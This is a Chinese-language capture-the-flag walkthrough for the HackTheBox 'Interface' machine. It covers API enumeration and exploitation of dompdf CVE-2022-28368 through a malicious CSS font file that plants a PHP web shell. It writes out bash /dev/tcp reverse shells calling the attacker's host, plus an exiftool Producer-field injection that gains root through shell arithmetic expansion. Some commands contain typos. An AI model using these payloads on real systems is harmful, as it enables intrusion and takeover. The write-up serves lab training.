主機發現
nmap -sV -sC -O -p22,80 10.10.11.200 -oN ports

訪問80頁面,主頁面是這樣的

再訪問一下index.php或者index.html 發現是404錯誤,

有可能是里面隱藏了一些api我們可以查看到搜索看看有沒有類似的api泄露
利用f12查看js原始碼
搜索http:// 或者/ 或者/upload
這里搜索到的是/api

說明這里是有可能跳轉到某個api的路徑,利用bp在路徑上進行訪問,并且要用get,post兩種不同的方式進行repeat


可以看到由Next.js支持的 既然是js支持那就是上傳的資料最好都是json格式的資料
去掉api單純看看有無反應 發現200回傳

看到右邊的回傳包有一大段的路徑,發現里面有一個域名叫 http://prd.m.rendering-api.interface.htb 一看就是和主題有關的路徑,直接訪問看看情況如何

抓包看看具體情況

發現就只有一個file not found 那是利用get方式還是post方式提交的file呢 如果是post方式的話,interact關鍵詞是什么呢
change一下request method進行上傳
ost 方式然后先嘗試用關鍵詞file當key進行上傳查詢
content-type: application/json
{"file":"/etc/passwd"}

仍然是沒有找到
利用Fuzz進行查找
copy to file 并修改file->FUZZ (failure) 這一步是為了在這個頁面看看能不能找到一個能夠與server interact的引數

利用fuff進行請求
fuff -request file.req -request-proto http -w /opt/xxdictionary -mc all -fs 36
fuff用戶手冊:mirrors / ffuf / ffuf · GitCode
決議:-request -- File containing the raw http request
-request-proto Protocol to use along with raw request (default: https)
-mc match Match HTTP status codes, or "all" for everything. (default: 200,204,301,302,307,401,403,405,500)
-sf Stop when > 95% of responses return 403 Forbidden (default: false)
利用gobuster對新發現域名的爆破
sudo gobuster -u http://prd.m.rendering-api.interface.htb -w /opt/xxx dictionary -t 100 (指定執行緒)

gobuster爆破后的結果為0
再利用post方式進行爆破(新)
sudo gobuster -u http://xx.htb -w -t 100 -m POST
在爆破之余,將bp替換掉原本的域名index.php換成prd.m.rendering-api.interface.htb 利用api這個已暴露的路徑看看是否由回傳值

發現同樣是404
第二步FUZZ 像gobuster一樣爆破 (模糊路徑)
fuff -u http://prd.m.rendering-api.interface.htb/FUZZ -w /opt/Seclists/discovery/web-content/raft-small-wordlists.txt -mc all -fs 0
fuzz出來一個404 和上面自己手動的方式一樣
再利用fuzz對api后的路徑進行模糊測驗
fuff -u http://xx.htb/api/FUZZ -w /opt/xx -mc all -fs (根據輸出的多少進行判斷) 失敗

再利用post方式進行fuzz
fuff -u http://xx.htb -w /xx -mc all -fs 50 -d ' x=x'
決議: -d POST data
利用feroxbuster進行爆破路徑
feroxbuster -u http://prd.m.rendering-api.interface.htb/api -m GET,POST (新) 成功

將該html2pdf放入到bp里面repeat

post方式傳一下 (一定要注意get post相互轉換)

提示為 missing parameters 就是說我們缺乏一個引數能夠與server進行interact的
由于是因為next.js支持,所以post方式一定是json格式進行上傳
構造json資料
{"file":"/etc/passwd"}
改content-type 為application/json
或者直接進行fuzz測驗
構造{"FUZZ":"/etc/passwd" } 改content-type 為application/json
copy to file 利用ffuf測驗
ffuf -request file.req -request-proto http -w /opt/xx dictionary -mc all -fs 36 (失敗)
但是失敗原因在于字典沒有html 所以有一個好字典是非常重要的
換一個字典繼續嘗試
在測驗的同時可以手動預估
由于/api后面的路徑是html2pdf,所以根據人的習性來說,interact引數可能是html
嘗試是不是html (成功)

同時ffuf換了一個字典之后也成功發現html

利用bp的copy to command curl 利用curl獲得回傳包的所有資料并拷貝成一個pdf檔案

利用exiftools進行下載查看pdf的型別和版本
producer是dompdf 1.2.0

google it 看看有沒有漏洞
發現CVE-2022-28368

本質上是利用css的標簽<link rel=stylesheet href='http://kali ip/xx.css'>下載這個css,并運行的時候,css內還有一個內置的外部鏈接下載另一個php檔案
漏洞利用
1.inject css
這段是惡意css 內容復制到please.css里面
@font-face {$
font-family:'TestFont';$
src:url('http://kali ip/exploit_font.php')$
font-weight:'normal';$
font-style:'normal';$
}$
kali開啟http服務'里面放了一個exploit_font.php 和exploit.css
exploit_font.php是由positive-security/dompdf-rce中 raw下載的攻擊php這個攻擊php的檔案名要對上css里面src對應的檔案名
準備就緒后,利用漏洞頁面進行html2pdf的頁面進行css的上傳
寫<link rel=style href='http://kali's ip/please.css'>將這段css往漏洞頁面上當成json的value進行發送
{"html":"<link rel=stylesheet href='http://kali ip/exploit.css'>"}

tips:這里是pwn只是名字不相同罷了
觀察kali 是否由被下載成功的提示

成功上傳后,訪問是否成功
根據cve的漏洞提示,這里要將css內的整個src路徑的md5列印出來
echo -n 'http://kali ip/exploit_font.php' | md5sum 并將獲得的md5值復制到上傳的頁面
bp repeat 訪問 host :http://prd.m.rendering-api.interface.htb
路徑是 /vender/dempdf/dompdf/lib/fonts/testsfont_normal_md5.php 訪問

失敗
重新試一次改一個css為pwn2.css其他的不該,此時kali開啟的服務檔案夾內由exploit_font.php pwn2.css
pwn2.css包含
@font-face {$
font-family:'TestFont';$
src:url('http://kali ip/exploit_font.php')$
font-weight:'normal';$
font-style:'normal';$
}$
這個css樣式
重新發送
1.bp訪問host: prd.m.rendering-api.interface.htb 路徑為/api/html2pdf
{"html":"<link rel=stylesheet href='http://kali ip/pwn2.css'>"}

成功
2.訪問上傳到的頁面
bp repeat 訪問 host:prd.m.rendering-api.interface.htb
路徑為/vender/dompdf/dompdf/lib/fonts/testfont_normal_md5.php

成功發現執行了exploit_font.php里面的phpinfo命令
修改exploit_font為反彈shell的命令并保存為檔案名為font.php
<?php system($_REQEUST['cmd']);?>

保存后,將pwn2.css改名成pwn3.css 并且修改css內src:url的檔案名成http://kali ip/font.php

并且將http://kali ip/font.php md5sum成一個md5hash用于拼接
重新利用漏洞上傳惡意font.php
1.上傳惡意css

2.訪問上傳后的惡意php檔案位置并在下面添加 cmd=bash -i 'bash -c >& /dev/tcp/kali ip/1234 0>&1' 反彈shell
kali監聽 nc -lvnp 1234

成功獲取shell
成功獲取shell發現是一個不完整的shell,因為python -c 'import pty;pty.spawn('/bin/bash');'是直接打出原文,所以要對shell進行修改操作
1.首先添加一個環境變數
export term=xterm
進入到自己的shell中
stty -a 查看自己的shell的行高和寬高

再次進入到靶機shell中 設定stty的行高列高
stty rows 21 col 121
成功設定為一個互動性良好的shell
tips 從靶機shell ctrl+Z退出后到自己的shell,然后通過fg再次進入到靶機shell中 (應該)
上傳pspy監聽有沒有root執行的sh腳本

發現一條uid=0執行的sh腳本

決議:cache為/tmp目錄,變數cfile遍歷tmp下所有的檔案 if [[ -f "$cfile" ]];then是判斷存不存在cfile這個變數 存在執行不存在不執行
并且將cfile變數的所有producer屬性變成meta_producer中
cut -d " " -f1 的詳細意義是:根據空格作為分隔符,選取每一行的第一個欄位,可以理解為提取每一行的第一個單詞
利用:在/dev/shm/下創建一個檔案shell.sh
內容
#!/bin/bash
bash -i >& /dev/tcp/kali ip/9001 0>&1
創建一個cleanme檔案
exiftools -producer='arr[$(/dev/shm/shell.sh)]' cleanme 修改cleanme檔案的producer屬性

將cleanme檔案放在/tmp目錄下
等待系統任務運行
kali監聽9001埠 成功獲取一個root權限的shell
完結撒花
閱讀鏈接:https://research.nccgroup.com/2020/05/12/shell-arithmetic-expansion-and-evaluation-abuse/
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/553578.html
標籤:其他
下一篇:返回列表
